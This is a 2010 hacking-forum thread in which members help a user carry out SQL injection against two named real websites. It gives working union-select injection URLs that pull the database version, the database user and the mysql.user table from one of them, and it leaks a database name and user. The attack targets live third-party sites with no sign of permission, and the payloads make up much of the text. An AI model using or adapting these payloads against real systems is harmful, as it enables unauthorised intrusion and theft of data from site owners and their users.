does any have clue? i decided to attack website usin sql injection and i got this error i also tried with other but still the same , im sure everythin i did is correct but this error comes and it confuse the shit outta me heres the vuln website
http://www.solutionfocusedtrainers.co.uk...s.php?id=4
http://www.leadacidbatteryinfo.org/newsdetail.php?id=44
and oh yh merry chrismas and happy new year
i googled but found useless info same with search butt here
(Dec 30, 2010 06:10 PM)Viral Dragon Wrote: Thats because the website is using a version 4 type.
Version: 4.0.27-max-log
User: [email protected]
DB: db197803277
-Viral. is it ? so it doesnt support union right
The 1st site has 7 columns i think
Code http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,@@version,5,6,7--
that was freakin' eazy stop C&P'ing and LEARN SQL injection! matey
(Dec 30, 2010 06:14 PM)Volim te Wrote: The 1st site has 7 columns i think
Code http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4%20union%20all%20select%201,2
,3,@@version,5,6,7--
i should get -rep for bein stupit , i didnt see the minus thing , thank you guys , ill try my best next time not askin stupit things
Sended you a pm..
To short.
(Dec 30, 2010 06:18 PM)XxZzUniqueModZzxX Wrote: i should get -rep for bein stupit , i didnt see the minus thing , thank you guys , ill try my best next time not askin stupit things Yea I all ways put the - this lol in helps and lol at this
Code http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,user,5,6,7 from+mysql.user--
Too get more info on the version/database try this
Code http://www.solutionfocusedtrainers.co.uk/trainers.php?id=-4 union all select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7--
|
